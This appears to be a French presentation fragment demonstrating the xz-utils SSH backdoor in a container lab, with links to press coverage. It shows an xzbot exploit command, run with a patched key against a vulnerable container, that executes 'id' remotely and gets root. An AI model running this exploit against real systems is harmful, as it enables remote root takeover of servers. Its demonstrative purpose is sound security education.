Démo

Patch la backdoor pour rouler l'exploit avec notre clé

```
$ docker exec -it xzbackdoor-poc /xzbot/xzbot \
    -addr xzbackdoor-vulnerable:22 -seed 378103 \
    -cmd "id > /tmp/.xz" \
|| docker exec -it xzbackdoor-vulnerable /bin/sh -c "cat /tmp/.xz"
00000000  00 00 00 1c 73 73 68 2d  72 73 61 2d 63 65 72 74  |....ssh-rsa-cert|
00000010  2d 76 30 31 40 6f 70 65  6e 73 73 68 2e 63 6f 6d  |-v01@openssh.com|
…
00000270  00 00 00 00 00 00 00 00  00 00 00 10 00 00 00 07  |................|
00000280  73 73 68 2d 72 73 61 00  00 00 01 00              |ssh-rsa.....|
2024/04/03 03:51:56 ssh: handshake failed: EOF
uid=0(root) gid=0(root) groups=0(root)
```

Références

Media

- https://www.wired.com/story/xz-backdoor-everything-you-need-to-know/
- https://arstechnica.com/security/2024/04/what-we-know-about-the-xz-utils-backdoor-that-almost-infected-the-world/